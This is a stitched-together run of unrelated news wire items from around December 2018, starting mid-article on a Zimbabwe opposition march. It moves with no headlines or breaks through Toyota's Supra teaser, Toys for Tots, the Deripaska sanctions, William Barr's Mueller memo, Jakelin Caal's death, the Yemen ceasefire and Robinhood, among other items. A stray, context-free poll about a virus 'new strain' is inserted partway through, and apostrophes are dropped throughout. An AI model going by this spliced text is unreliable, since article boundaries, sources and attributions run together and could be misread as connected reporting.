"Zimbabweans are suffering. The country has no fuel," he told the crowds. "When we united against Mugabe. We did not expect this (crisis). Our lives are worse off. "We are not going to fight Mr Mnangagwa with guns because we do not believe in guns," Chamisa added, with the event passing off peacefully. - Ruined economy - Mnangagwa, who took power after Mugabe was forced to resign by the military in November 2017, promised to revive the ruined economy after he won the disputed election. The latest bout of economic strife erupted last month when the government introduced a two-percent tax on all electronic transactions to increase revenue. Story continues Many Zimbabweans rely on electronic payments as US dollars, which function as the country's main currency, are scarce, with hardly anyone trusting the local "bond note" currency. "We are here to demonstrate against the economic crisis and the election that was stolen," said Donald Bango, a 25-year-old security guard. "There are no jobs. The current government is not doing anything to fix our problems," he told AFP. "Prices of basic commodities are going up and we cannot access drugs from pharmacies," said Rachel Chakanetsa, a 53-year-old widow who was at the demonstration. "We are in dire poverty. The situation must be addressed urgently." - 'An unending crisis' - The marchers delivered a petition to parliament saying Zimbabwe was in "an unending crisis of legitimacy". It called for both the electronic transfer tax and the bond note currency to be scrapped. Mnangagwa recently revealed that Mugabe, 94, was in Singapore for extended medical treatment and was unable to walk due to ill health and old age. Mugabe was ousted when the military, fearing that his wife Grace was being lined up to succeed him, seized control and forced him to resign. His 37-year reign was marked by corruption and mismanagement that led to an exodus of investors, mass emigration and collapse of many public services. Mnangagwa is an army-backed loyalist from the ruling ZANU-PF party who previously served as Mugabe's vice president. On Wednesday, Toyota posted a video just a half of a minute long featuring the growl of the 2019 Supra's straight six. As the world is patiently waiting -- some of us not-so-patiently waiting -- for the reveal of the 2019 Toyota Supra, the company continues to feed us more teasers, and, this time, we got far more than words and camouflaged images. In the 30-second long video that Toyota uploaded to its European YouTube channel, we got half of a minute of pure Supra engine sounds accompanied by some blurred imagery of the bright red model sans camo. Chief engineer Tetsuya Tada indicated back in July that the new Supra holds true to its characteristic inline six-cylinder engine (the same as BMW's new Z4), which is reiterated in the video. He also confirmed that, like previous models, the engine that is mounted up front powers the rear wheels. The video goes on to confirm the engine's 3-liter capacity, but we still don't know the horsepower; reports say that it's somewhere above 350 hp, maybe even above 380 hp. The Z4 puts out 340 hp, though that model is definitely designed more as a leisure sportscar than a hardcore performer like the Supra is turning out to be. Unfortunately for Toyota and perhaps fortunately for us, the Supra's exterior was leaked just last week, so even though the clip shows a fuzzy silhouette, a clear shot is already circulating. Toyota's new video concludes with the date and location for the unveiling of the car: January 14 at the Detroit Auto Show. Just a couple days later, though, the 001 model is heading to the auction house in Scottsdale, Arizona. If you can't make it out to either, you can always settle for the Supra's signature camouflage in the form of very limited-edition holiday wrapping paper; after all, it's for a good cause. https://www.youtube.com/watch?v=qt4YATKDutE Erie Jackson received "by far the coolest toy" for Christmas when he was a kid: a toy truck that would follow directions drawn on it. But Jackson, now 21 and a student at the University of Alabama at Birmingham, wouldn't have unwrapped that gift without the help of one program: Toys for Tots. "They gave us amazing toys for Christmas when I was a child," Jackson said. "We couldnt afford to get good things or even have a Christmas. Run by the United States Marine Corps Reserve, Toys for Tots has delivered holiday gifts nationwide to less fortunate children since 1947. But this year, the program faced unique challenges with the fall of one of its largest retail partners, Toys R Us, and multiple natural disasters across the country. The program knew it needed to brainstorm alternative solutions it if was to fulfill its mission of distributing gifts to those in need, said Lt. Gen. Pete Osman, president and CEO for the Marine Toys for Tots Foundation. The generosity of the American public, and the great support we get from our corporate sponsors, have enabled us to push forward," Osman said. The Toys for Tots logo. Pushing through without Toys R Us For the past 14 years, Toys R Us served as Toys for Tots' top corporate sponsor, raising about $8 million each year in donations and gifts. When Toys R Us closed all its stores in June, Toys for Tots needed to find alternative fundraising sources. "Trying to fill that void is a real challenge," Osman said. The organization reached out to other corporate sponsors, several of which responded to the call. Disney gave $5 for each new toy donated for up to a total of $1 million, from Nov. 29 through Dec. 15. Hasbro matched any donation of a new toy or game to a local Toys for Tots drive for up to one million gifts. And toy company Funko doubled its donation of toys for a total contribution of more than $7 million this year. Additionally, Toys for Tots has focused on increasing individual donations, Osman said. Story continues "There are lots of businesses which have donation bins, but one of the issues is getting out the message that people can come and donate," said Neil Saunders, managing director of retail consultancy Global Data. Toys for Tots has "done some work with radio to spread the message, and that should help boost donations." Toys R Us was Toys for Tots's top corporate sponsor for 14 years. The Toys R Us absence has also been felt at the local level. Deborah Oberlin, 49, a Toys for Tots coordinator from Carroll County, Ohio, oversees 10 counties in the state. She said one county in particular Belmont had benefited from "one of the best Toys R Us ever." Its closure "definitely opened up a little wound that were trying to put a band aid on as quickly as we can, she said. Individual donations and support from various companies particularly from the oil and gas industry, Oberlin said have played a major role in helping to close the gap. With the aid, about 6,000 families in Ohio will receive gifts this year, she said. Its an amazing organization, and its run like a well-oiled ship, she said. Charity in the face of natural disasters When Faith Martinez turned 7 years old in 2012, she asked for a unique birthday gift: donations to Toys for Tots. "I realized that there were kids out there that dont have a lot, and I get a lot for Christmas," she said. "With my birthday so close to Christmas, theres no point in me getting extra gifts. Martinez, who lives in Santa Clara, Calif., has been raising gifts for Toys for Tots since. In the wake of the California wildfire, which destroyed thousands of homes in November, Martinez received more donations than ever before when she turned 13 on Dec. 8. Faith Martinez, 13, with the donations she received for Toys for Tots at her birthday party. Every time someone gave me one I was like it was so many, so many," Martinez said. "At least every person gave like three gifts. On the other side of the country, Hurricanes Michael and Florence rocked the Gulf and East Coasts, respectively. Osman said the disasters nationwide posed significant challenges, as many of the resources in affected towns went toward necessities, such as food and shelter. But individuals still stepped up to help Toys for Tots in the face of these tragedies, Osman said. When they realize a disaster has happened, and people really need help, they rally to the cause," he said. Making children's days in the holiday season Tacshekia Duncan received gifts this year for her children through Childrens Friend, a child-serving nonprofit agency in Rhode Island that got some gifts through a local Toys for Tots drive held at area Cardi's Furniture stores. Duncan, 35, from Pawtucket, Rhode Island, who plans to go back to school in January to pursue education in nursing, said she was "wowed" by the gifts her children received which included dolls and teddy bears. Just seeing the smiles that my children get from seeing these gifts Im so grateful, Duncan said. Despite the challenges this year, Osman said he hopes Toys for Tots will give out 18 to 20 million toys to about 7.5 million less fortunate children by the end of the holiday season, about the same as in recent years. Were optimistic that when the sun sets and the campaign is over with, were going to have done about the best we can," Osman said. More: Breast implants recalled: Allergan ends sales of 'textured' implants in Europe More: Facebook denies giving Spotify, Netflix, other tech giants wider access to data without user permission More: Hersheys Kisses are missing their tips, and people arent happy Follow USA TODAY intern Ben Tobin on Twitter: @TobinBen This article originally appeared on USA TODAY: How Toys for Tots is overcoming Toys R Us closure, natural disasters to deliver gifts to kids in need The Trump administration is lifting sanctions on three companies controlled by a Russian oligarch with links to Vladimir Putin. Following an aggressive lobbying campaign, led by a British lord who chairs one of the firms, the Treasury Department announced it would end sanctions against aluminium producer Rusal, its parent En+, and JSC EuroSibEnergo. In return their owner, Oleg Deripaska, agreed to reduce his stakes in them to less than 50 per cent, the treasury said. The billionaire businessman, who has been accused of links to organised crime, will remain on the sanctions list. Mr Deripaska, his companies, and a number of other figures with close ties to the Kremlin were hit by the sanctions in April in retaliation for alleged Russian meddling in the 2016 US presidential election. That interference also saw the Treasury Department on Wednesday impose fresh sanctions on several Russian intelligence operatives. The department said in a statement it was placing sanctions on individuals and entities involved in US election meddling, the hacking of the World Anti-Doping Agency and other "malign activities. The actions, which include sanctioning 15 members of Russia's military intelligence agency, were taken "in response to Russia's continued disregard for international norms", the statement added. The decision to lift sanctions on Mr Deripaskas companies, however, attracted criticism from some quarters that it would send the wrong signal to Moscow over its conduct abroad. Paul Ryan advocates sanctions on Russia: It is a 'menacing government' How does Deripaska reducing his ownership stake in his company, Rusal, advance US national security interests? I don't understand the logic at all, Michael McFaul, a former US ambassador to Russia, wrote on Twitter. Lloyd Doggett, a House Democrat for Texas, told the New York Times the move amounted to Donald Trump sliding another big gift under Vladimir Putins Christmas tree and suggested Mr Deripaska, one of Putins closest buddies, would find a way around the agreement to reduce his stakes. Story continues In a statement, treasury secretary Steven Mnuchin said the three companies were initially sanctioned because of Mr Deripaskas ownership, not for the conduct of the companies themselves. These companies have committed to significantly diminish Deripaskas ownership and sever his control, he said. The companies will be subject to ongoing compliance and will face severe consequences if they fail to comply. The agreement comes after a lobbying campaign led by Lord Gregory Barker, a former UK energy minister and now chairman of EN+. Lord Barker reportedly used lobbyists with ties to the Trump administration, law firms and public relations experts to make the argument Mr Deripaska was committed to giving up control of his companies. Mr Deripaska is one of Russia's wealthiest men. He amassed his fortune under Mr Putin and has bought assets abroad in ways widely perceived to benefit the Kremlin's interests. US diplomatic cables from 2006 described him as among the two or three oligarchs Putin turns to on a regular basis and a more-or-less permanent fixture on Putin's trips abroad". The 50-year-old achieved a deal of fame in the UK in 2008 when the then-business secretary, Lord Mandelson, and shadow chancellor George Osborne found themselves aboard his yacht off the coast of Corfu last summer. US says Nepal is part of its Indo-Pacific strategy United States officials have said Nepal is a part of their ambitious Indo-Pacific strategy, a new strategic initiative undertaken by the Trump administration that focuses on developing opportunities across a range of issues across the broader pan-Asian region. Washington (AFP) - Donald Trump's nominee to lead the Department of Justice wrote an unsolicited memo six months ago objecting to Special Counsel Robert Mueller's investigation of the president for obstruction of justice, US media reported Thursday. The memo from William Barr was seen as a potential threat to the Mueller probe and possible insulation for Trump if Barr is confirmed by the Senate as the new attorney general, replacing Jeff Sessions. Barr, a conservative Washington lawyer, said in the memo that Trump's May 2017 firing of FBI director James Comey after Comey rebuffed pressure to ease off the Russia collusion probe was legal under presidential powers and not obstruction, according to The Wall Street Journal. In the memo, which was sent to the Justice Department in June, Barr said that Mueller's inquiry into obstruction was "fatally misconceived" and "grossly irresponsible," the Journal said. The obstruction question being pursued by Mueller's team is viewed as one of the largest legal threats to Trump's presidency. "This is ominous: Barr's unsolicited critique of Mueller's pursuit of Trump's obstruction of justice needs to be challenged in the Senate Judiciary Committee," said Laurence Tribe, a professor at Harvard Law School. - Threat to Mueller probe seen - Barr, who was attorney general in 1991-93 under president George H.W. Bush, sent the memo to the Justice Department as a "former official" offering his views. His strong conclusion takes on greater weight now that Barr has been chosen to be attorney general, where he will oversee the Mueller probe and have the ability to curb its actions. When Barr wrote it, Trump was already known to have soured on Sessions over the investigation, repeatedly attacking his attorney general for having recused himself from overseeing it. Trump finally forced Sessions to resign in November. Trump also knows Barr: in 2017 and 2018 the president had considered hiring him as his own lawyer against the investigation. Story continues CNN reported that Barr discussed the June memo with Trump before he was officially nominated. The issue could pose a challenge when Barr's nomination is weighed by the Senate Judiciary Committee in January, and lead to calls for Barr to recuse himself from the investigation as Sessions had done. The Journal reported Barr also shared his memo with a top White House lawyer dealing with the Mueller investigation in June. "I would think that might make his supervision of the Mueller investigation, uh, problematic," Benjamin Wittes, a senior fellow at the Brookings Institution and a Washington legal analyst, wrote on Twitter. Justice Department spokeswoman Kerri Kupec said the memo was unsolicited and not based on any inside information from the Mueller probe. She also said that Justice Department ethics officials have already advised that the memo "would present no conflict as to his duties as attorney general." "Mr. Barr has stated that, if confirmed, he will make any decisions based on the actual facts and circumstances of any particular matter." NEW YORK (AP) President Donald Trump lashed out Wednesday at New York Democrats over their efforts to shut down his charitable foundation. Trump tweeted that his foundation has "done great work and given away lots of money." New York Attorney General Barbara Underwood announced Tuesday that the foundation would dissolve while it fights a state lawsuit accusing it of illegally operating like an extension of Trump's businesses and political campaign. Trump tweeted that Underwood "does little else but rant, rave & politic against me." He called former state Attorney General Eric Schneiderman a "sleazebag," and he complained that the state's attorney general-elect, Letitia James, "openly campaigned on a GET TRUMP agenda." Trump also criticized New York Gov. Andrew Cuomo, who wasn't involved in the lawsuit but praised it in a tweet. "Will never be treated fairly by these people," he said, "a total double standard of 'justice.'" Underwood and attorneys for the Trump foundation agreed Tuesday on a court-supervised process for shutting down the charity and distributing some $1.7 million in remaining funds to other nonprofit groups. The deal comes even as Trump continues to fight allegations he misused the foundation's assets to resolve business disputes and boost his run for the White House. Underwood's lawsuit, filed last spring, alleges that Trump and his family illegally operated the foundation as an extension of his businesses and his presidential campaign will continue. The attorney general said the foundation operated as "little more than a checkbook to serve Mr. Trump's business and political interests." Lawyers for the foundation have said any infractions were minor. Jackelin Caal, the 7-year-old who died in Border Patrol custody this month after crossing into the United States through the New Mexico desert with her father, didnt make her dangerous and ultimately fatal journey to this country alone. Some 161 other migrants, including about 50 children traveling alone, were in the group that crossed through the desert with Caal and her father to the remote outpost of Antelope Wells in New Mexico. Many migrants know that pushing into far-flung crossings over rough terrain means taking huge risks. But U.S. government policy has left them few other options: As President Donald Trumps administration has made it harder to request asylum at legal ports of entry and deployed the military to the border to scare away asylum-seekers, migrant families are crossing in more isolated and treacherous areas. Claudia Maquin, 27, shows a photo of her daughter Jakelin Caal in Raxruha, Guatemala, on Dec. 15. The 7-year-old girl died in a Texas hospital on Dec. 8, two days after being taken into custody by Border Patrol agents in a remote stretch of New Mexico desert. (Photo: Associated Press) Forcing them into very dangerous and remote areas is going to result in even more deaths like what we saw with Jackelin Caal, El Paso, Texas, immigration attorney Melissa Untereker told HuffPost. Its only going to increase with policies like these that keep people from seeking asylum at ports of entry safely, securely and quickly. Under both Democratic and Republican administrations, the Border Patrol has spent the last three decades pushing migrants away from populated border crossings to more dangerous desert areas a strategy dubbed prevention through deterrence. Trump doubled down on that strategy by making it harder for asylum-seeking migrants to make their claims at legal ports of entry and stationing military personnel near major crossings to dissuade migrants from crossing without authorization and turning themselves over to Border Patrol agents to start their humanitarian claims. The effects of Trumps new policies are most evident in the area of the border where the Caal family crossed. In November 2017, Border Patrol apprehended 379 migrants traveling together as families through the El Paso sector, which stretches from West Texas through New Mexico and includes a swath of the Chihuahuan Desert. Story continues By last month, that number had skyrocketed past 6,400 a nearly 1,600 percent jump and the highest percentage increase of any sector along the U.S.-Mexico border. In recent years, the total numbers for unauthorized crossings have remained at their lowest levels since the 1970s. But because those who are making unauthorized crossings these days are much more likely to be adults traveling with their kids or children traveling alone, the White House strategy could lead to more deaths of minors like Caal. The changes in border-crossing patterns arent coincidental. Homeland Security Secretary Kirstjen Nielsen has repeatedly implored asylum-seeking migrants to cross at legal ports of entry. But at the same time, the Trump administration has kept many migrants from doing so. In May of this year, Customs and Border Protection began placing agents along the international bridges connecting Mexicos Ciudad Juarez to its sister city of El Paso, according to a report by Human Rights First. Those officers were charged with limiting the daily number of people who could start asylum claims a policy that Homeland Security officials say resulted from lack of processing space but that legal groups view as contrived and a violation of domestic and international law. The month that the Trump administration imposed that so-called metering policy in El Paso, the number of migrant families that crossed without authorization roughly doubled, to about 1,600. The number of unaccompanied minors who crossed outside ports of entry also spiked. That trend has been evident along the U.S.-Mexico border. Last year, roughly one-third of migrant families traveling together came through a legal port of entry. In the first two months of this year, that number is down to about 16 percent, CBP statistics show. The number of families crossing through the El Paso sector roughly doubled again in October the same month that Trump announced a deployment of thousands of U.S. military support personnel. More than 23,000 migrants traveling as families like the Caals crossed through the El Paso sector in the last 12 months. Thats more than triple the number in the same period the year before. The trend lines are quite dramatic, said Shaw Drake, a policy counsel for the ACLU Border Rights Project. When you cut off safe passage routes or, certainly, when you cut off access to presenting at ports of entry, you know you are no doubt putting pressure on people to move to more dangerous crossing zones. Caals death in Border Patrol custody has focused intense scrutiny on the agency, as members of Congress and Homeland Securitys Office of Inspector General investigate whether agents followed safety protocols. But what already appears clear is that crossing in such a remote area played a decisive role in the childs death. She began vomiting, then seizing in a transport bus from Antelope Wells to the Border Patrol station at Lordsburg, New Mexico. Far from medical facilities, agents had little choice but to keep heading toward their destination, a Customs and Border Protection official told reporters last week leaving the child without care for 90 minutes, followed by medical evacuation by helicopter. Had Caal and her father crossed through a legal port of entry in a more populated area like the city El Paso or San Diego, the child would have been at all times a short ambulance ride from a hospital. Ruben Garcia, the director of Annunciation House the shelter that is caring for the girls father, Nery Caal called attention to the shifting border-crossing patterns at a press conference on Sunday, where he delivered a statement prepared by lawyers working for the Caal family. What people are doing is theyre going further and further out and that is dangerous. It is endangering the lives and welfare of families and obviously of children, Garcia said. What is most disconcerting is that that is the intention of government policy. It is the intention of government policy to prevent people from exercising their rights. Love HuffPost? Become a founding member of HuffPost Plus today. This article originally appeared on HuffPost. WASHINGTON (Reuters) - U.S. President Donald Trump's lawyer on Wednesday said Trump had signed an October 2015 letter of intent to develop a real estate project in Russia during his presidential campaign, after earlier denying it in a weekend television interview. Rudy Giuliani had told CNN on Sunday that "no one signed" the letter of intent to go forward with the Moscow project, although he acknowledged talks about the development had extended through November 2016 when Trump won the U.S. presidential election. Giuliani reversed course in comments to Reuters on Wednesday, however, after CNN reported late on Tuesday that it had obtained a copy of the Oct. 28, 2015 letter signed by Trump, who had announced his White House bid in June that year. "If I said it, I made a mistake," Giuliani said of his previous denial about Trump having signed the letter. "There's nothing wrong with his signing it. When he did it, he wasn't president yet." The letter was also signed by Andrey Rozov, who owns Russia-based I.C. Expert Investment Co, CNN said. The White House did not respond to a request for comment. The proposed project has become a focus in federal investigations into Russian interference in American politics and potential ties between Trump's campaign and Moscow being conducted by the U.S. Special Counsel's Office and Congress. Trump's personal lawyer Michael Cohen was sentenced last week to three years in prison in part for lying to U.S. lawmakers about the planned Moscow development. Any plans to work with Moscow could be seen as a conflict of interest for someone seeking to represent the United States. Trump, a real estate developer and former reality television star, still owns the Trump Organization but said he would step away from day-to-day management after taking office. Trump did not publicly disclose the project during his campaign, saying he had nothing to do with Russia and calling for warmer ties with America's old Cold War foe. Last month, Trump told reporters at the White House he pursued the Moscow project during his campaign but decided not to follow through with it. "There would have been nothing wrong if I did do it," he added. Asked about U.S. prosecutors' assertions that his associates met or had business dealings with Russians before the election, Trump told Reuters this month: "The stuff you're talking about is peanut stuff." The planned real estate project included condominiums, a hotel and commercial property, CNN reported. The Trump Organization had also floated the possibility of offering a $50 million penthouse suite to Russian President Vladimir Putin, according to a recent report by Buzzfeed, which reported in May that Trump had signed the letter. Trump has denied any collusion and raised doubts about U.S. intelligence findings that concluded Russia sought to interfere in the 2016 election. Russia has also denied any meddling. (Additional reporiting by Karen Freifeld; Writing by Susan Heavey; Editing by Tom Brown) Ankara (AFP) - Turkish President Recep Tayyip Erdogan and Iranian counterpart Hassan Rouhani on Thursday vowed to work closer to end the fighting in Syria. But the two leaders made no comment on US President Donald Trump's shock announcement that he was pulling US troops out of the war-ravaged nation. "There are many steps that Turkey and Iran can take together to stop the fighting in the region and to establish peace," said Erdogan, without elaborating, at a joint news conference with Rouhani in Ankara. "Syria's territorial integrity must be respected by all sides. Both countries are of the same opinion regarding this," Rouhani said in translated remarks. The two leaders' meeting had been arranged before Trump's announcement about the US pull-out, a move already welcomed on Thursday by Russian President Vladimir Putin. Some Western analysts consider the US presence a key counterweight to Iranian influence in the region. Ankara has repeatedly called for Syrian President Bashar al-Assad's ouster and supported Syrian opposition fighters. Tehran and Moscow meanwhile are Damascus's strongest allies and have helped to turn the war in Assad's favour. Turkey, despite its differences with Iran and Russia over Syria, has worked closely with both countries to find a political solution to the war through the Astana process launched last year. As part of the peace talks which began in the Kazakh capital, Turkey, Iran and Russia agreed four "de-escalation" zones in Syria. All of those except the northwestern province of Idlib have been retaken by Damascus. At Thursday's news conference, Rouhani said Turkey and Iran would continue their cooperation under the Astana peace process. - Turkey 'stands by Iran' - Erdogan threatened last week to launch a new operation east of the Euphrates in northern Syria against the Kurdish People's Protection Units (YPG). This US-backed Kurdish militia is viewed by Ankara as a "terrorist offshoot" of Kurdish insurgents inside Turkey. Story continues There are around 2,000 US forces in Syria, most of them on a train-and-advise mission helping the YPG under the banner of the Kurdish-led Syrian Democratic Forces (SDF) alliance fighting against the Islamic State extremist group. Turkey and Iran, regional rivals for centuries, have in recent times focused on developing a pragmatic relationship and boosting trade. Erdogan on Thursday repeated Turkey's criticism of the US this year pulling out of the nuclear deal with Iran and imposing new sanctions on the Islamic republic. "I want to stress once more than we (Turkey) do not support these decisions and that American's sanctions against Iran increase the risks to the region's safety," he said, adding that Turkey would "stand by the Iranian people". The deal envisaged sanctions on Iran being lifted in return for it accepting inspections by the UN atomic watchdog and limits on its nuclear activities. By Pete Schroeder WASHINGTON (Reuters) - U.S. banking regulators announced on Thursday they had signed off on "living wills" for four foreign banks - Barclays , Credit Suisse , Deutsche Bank and UBS - detailing how they could safely be dissolved in a crisis. The Federal Reserve and Federal Deposit Insurance Corporation said the resolution plans submitted by the banks had some shortcomings, but nothing significant enough to demand stricter rules or additional restrictions on bank activity. Specifically, the regulators said the banks needed to improve their communications between U.S. operations and foreign parents in times of stress. Separately, Credit Suisse was told it needs to improve how it estimates the liquidity needs of its U.S. intermediate holding company. The banks must address these concerns in their next resolution plan submissions, due on July 1, 2020. The regulators noted the firms have become smaller and less risky since the 2007-2009 financial crisis, making it easier to dissolve them if necessary. Banks have been required to submit "living wills" as part of stricter rules established after the 2007-2009 crisis. The plans, which must be regularly reviewed by regulators, are aimed at ensuring large banks can be safely wound down without endangering the entire financial system. The resolution plans, commonly known as living wills, require large banks to detail how they could be unwound in cases of bankruptcy without disrupting the broader financial system. If regulators do not find a plan credible, they could impose restrictions on a banks activities or even order it to divest. Previously, banks with more than $50 billion in assets have been required to submit plans annually, although regulators have frequently granted extensions in the past. A new bank deregulation law enacted in 2018 directs regulators to require such plans from banks with more than $250 billion in assets, while giving regulators discretion to require plans from smaller banks of at least $100 billion in assets. (Reporting by Pete Schroeder in Washington; Editing by Diane Craft and Matthew Lewis) By Andrew Chung (Reuters) - Scores of complaints accusing U.S. Supreme Court Justice Brett Kavanaugh of improperly conducting himself during his contentious Senate confirmation process have been thrown out by a panel of eight federal judges. The judges said the complaints of misconduct, including accusations that Kavanaugh made false, unduly partisan and disrespectful statements to senators, must be dismissed because he has been confirmed to the Supreme Court and the federal law governing judicial conduct applies only to lower court judges. Kavanaugh was a federal appeals court judge when President Donald Trump appointed him in July. He was confirmed in October. In all, 83 complaints were filed against Kavanaugh by "lawyers, doctors, professors and concerned citizens, among others," according to Chief Judge Timothy Tymkovich of the Denver-based 10th U.S. Circuit Court of Appeals. Some complaints also related to Senate testimony Kavanaugh gave in 2004 and 2006 when he was a nominee to become a federal appeals court judge. "Congress has not extended the Judicial Conduct and Disability Act to Supreme Court justices," Tymkovich wrote for the panel of judges, part of the Judicial Council of the 10th Circuit. As they piled up at the Washington appeals court, U.S. Chief Justice John Roberts in October transferred the complaints to be handled by that council. During hearings before the Senate Judiciary Committee, Kavanaugh denied allegations that he sexually assaulted a California professor when the two were teenagers in Maryland in the 1980s. He leveled a partisan attack against Democratic senators, calling himself the victim of "a calculated and orchestrated political hit" fueled by anger on the left at Trump's 2016 election win over Democrat Hillary Clinton. A bitterly divided Senate voted 50-48 to confirm Kavanaugh. Gabe Roth of Fix the Court, an advocacy group that pushes for Supreme Court transparency, said the judicial misconduct law badly needs to be rewritten. "Today's decision," Roth added, "underscores the need for the Supreme Court to adopt its own code of conduct or for Congress to write one if the justices cannot be bothered." (Reporting by Andrew Chung in New York; Editing by Will Dunham) By Michelle Nichols UNITED NATIONS (Reuters) - The United States wants the United Nations Security Council to condemn Iran in a draft resolution being negotiated to back a ceasefire deal in Yemen's Hodeidah region, but Russia has rejected the move, diplomats said on Wednesday. After a week of U.N.-sponsored peace talks in Sweden, the Iranian-aligned Houthi group and Saudi-backed Yemen government foes agreed last Thursday to stop fighting in the Red Sea city of Hodeidah and withdraw forces. The truce began on Tuesday. The 15-member Security Council is now considering a British-drafted resolution to endorse the deal and ask U.N. chief Antonio Guterres to submit proposals on how to monitor the ceasefire and redeployment of forces. The initial draft text, seen by Reuters, condemns "the supply, from whatever source, of weapons and associated materiel in contravention of the arms embargo provisions," but does not name any countries. The United States wants to specifically condemn Iran, according to diplomats and a revised draft seen by Reuters, but Russia has objected to the language. Diplomats have said the aim is to try to adopt a resolution this week. In February, Russia vetoed a U.S.-led attempt to have the council call out Tehran in a resolution on Yemen. A resolution needs nine votes in favor and no vetoes by Russia, China, the United States, France or Britain to pass. U.N. chief Antonio Guterres has reported to the Security Council that the debris of several ballistic missiles fired by the Houthis at neighboring Saudi Arabia appear to be Iranian. Iran denies supplying weapons to the Houthis. A Saudi-led military coalition intervened in Yemen in 2015 to back government forces. The United Nations and Western countries have criticized the coalition for killing a high number of civilians, including children. The draft council resolution condemns indiscriminate attacks and targeting of civilians. It does not mention the Saudi-led coalition. U.N. diplomats also said some countries wanted the current draft resolution on Yemen to be specifically focused on the ceasefire deal reached in Sweden and for language addressing the humanitarian crisis in the country to be removed. The conflict has pushed impoverished Yemen to the verge of famine, and millions of people rely on food aid. More than 80 percent of Yemen's imports used to come through Hodeidah port, but that has slowed to a trickle. Kuwait's U.N. ambassador, Mansour al-Otaibi, said on Wednesday that council members were still working on the draft resolution and "some concerns have not been met." (Reporting by Michelle Nichols; Editing by Peter Cooney) By Katanga Johnson and Anna Irrera WASHINGTON/NEW YORK (Reuters) - A bipartisan group of U.S. senators sent a letter to regulators on Thursday expressing concern that financial technology startup Robinhood may not be offering full transparency to its customers over the botched launch of its new cash management service. The senators asked for an update on how regulators "carefully monitor fintechs who, intentionally or not, blur financial products for a competitive advantage." "Indeed, robust competition should not come at the expense of customer clarity, and every effort should be made not to mislead customers," said the letter, addressed to the heads of the Securities and Exchange Commission, the Federal Deposit Insurance Corporation and the Securities Investor Protection Corp. The letter was sent by Republican senators John Kennedy and Jerry Moran and Democratic senators Doug Jones, Brian Schatz, Jack Reed, Robert Menendez and Mark Warner. A Robinhood spokesman declined to comment. Last Thursday Robinhood announced that it was launching a "checking and savings" service paying 3 percent interest and said customer deposits would be insured by SIPC for up to $250,000. A day after the announcement, the CEO of SIPC, an industry nonprofit created by Congress to help recover customer assets when brokerages go under, told reporters he did not believe the fund would actually insure Robinhood's accounts. In response Robinhood altered the product's name on its website to "cash management" and removed references to SIPC insurance. A blog from the company's founders did not clarify whether the new service would be insured. "We are concerned that rebranding Robinhood's original announcement to cash management may simply be a way to circumvent regulatory scrutiny without offering full transparency to its customers," the letter said. "As of December 20, over 850,000 people have signed up for the wait list for Robinhood's new service, and some of these individuals may have signed up before Robinhood retracted its SIPC insurance claim." Robinhood, which is valued at $5.6 billion, is best known with young consumers for its commission-free stock trading app. Like other fintech startups, it has been trying to branch out into other financial services, such as deposits. The issues it faces over its new cash management service highlight the regulatory gray area that many fintech startups operate in as they seek to take advantage of digital technology to challenge traditional financial institutions. (Reporting by Katanga Johnson and Anna Irrera; Editing by Dan Grebler) 1. Yes. The new strain spreads quickly; experts are concerned. It might be in our area soon. 2. Yes. The new variant may be vaccine-resistant, which would be a huge threat. 3. No. Health experts have moved quickly to contain it; it may not reach our community. 4. No. Even if the variant arrives in Texas, researchers may have some answers by then. 5. Unsure. Its hard to say until experts have had a chance to monitor it for a while. Vote View Results Start-ups such as Funding Circle have positioned the UK as a leader in Europe for exits. - Funding Circle The UKs tech sector continued to out-perform the rest of Europe this year by attracting $7.9bn (6.3bn) in venture capital investment, new figures have shown. Start-ups in the UK accounted for more than a third of sales, initial public offerings and mergers across Europe, with $40bn worth of exits being made this year alone, according to a report from Tech Nation and Dealroom. The success follows the flotation of UK-based, venture-backed unicorns such as online luxury retailer Farfetch and fintech company Funding Circle, and the sales of significant companies such as property site Zoopla to US venture capital firm Silver Lake for $3bn. The UK also proved to be more appealing to investors searching for the next big tech company, attracting 6.3bn ($7.9bn) in venture capital investment in 2018. Germany and France came second and third, drawing in $4.6bn and $4.4bn of investment respectively. The figures from Tech Nation and Dealroom, a data analytics firm, indicate growing confidence in the UKs tech sector. The UK has tallied up more exits than all other European countries for five successive years, making $119bn worth of sales since 2013, while the tech industry as a whole showed 75pc higher productivity than the rest of the UK economy. This has been another great year for the UK digital tech sector which continues to show that this nation is a digital tech powerhouse, attracting more money from venture capital than any other country in Europe, said Gerard Grech, Tech Nations chief executive. Businesses that were started here are scaling to become global success stories, as the level of large funding rounds and successful IPOs demonstrates. The UKs lead and significant activity in countries like Sweden, where music streaming business Spotify pulled off a $29bn initial public offering (IPO), meant signs started to emerge of Europe closing the gap on the US in terms of exits. According to the research, The US made $136bn worth of exits in 2018, while European sales and IPOs added up to $107bn. Story continues Tom Blomfield, co-founder and chief executive of UK fintech company Monzo, said the UK has an abundance of talent, ambition and tech-knowledge that can help build truly global businesses. According to digital secretary Jeremy Wright, the statistics identify the UK as Europes undisputed tech hub. The success is thanks to our unique combination of talent, location and language, alongside our business friendly environment, unrivalled access to capital and world-leading universities, he said. We want to see the power of technology change peoples lives for the better. Despite the trends pointing in favour of the UK's tech sector, it is not foolproof. Earlier this week, augmented reality firm Blippar, which was founded in London, went into administration following a funding dispute. The company claimed a valuation of 1bn but had to deal with severe financial losses as a result of its expansion plans, making its collapse a significant one in a British tech industry hoping to scale up in size. UK Iran Students Bitcoin Stranded Iranian students in the United Kingdom have turned to Bitcoin as a tool to circumvent the economic sanctions placed on their country, according to a Guardian report. Parsa Sadat, a law student at the University of Reading, is among a bevy of Iranian students who can't pay their tuition fees and are completely stranded at school after Iran was hit with sanctions by U.S. President Donald Trump last month. Sadat and his fellow Iranian students are at risk of having their student visas revoked after the sanctions made it impossible for them to pay their tuition. While Sadat's family has the wherewithal to pay for his tuition, he is unable to get the required funds as the U.S.-imposed sanctions have disrupted cash transfers out of Iran. As a result, he was told by the management of the university that his only course of action is to make the trip back home over the yuletide period and return with the required tuition fees (a sum of 5,350) to make payments for the next academic term. Sadat, who is in his final year at the university, said that he has already been warned five times concerning his fees, with threats of his suspension being mentioned as well. However, even if he were to travel home and get the money, returning with the cash especially from a country that has been classified by the British Foreign Office as a high-risk nation could also be difficult. One of Sadat's lecturers, Professor Mai Sato, was of the opinion that it was dangerous for Sadat to transport such large sums from Iran to the United Kingdom, urging the university to speak up against the injustice that was being meted out to the students. Even if the funds for the flight and fees can be raised, requiring Parsa to transport large amounts of cash within and from a country classified by the Foreign Office as a high-risk country, exposes the university to justifiable criticism. Parsa himself feels that carrying several thousand pounds in cash is dangerous." 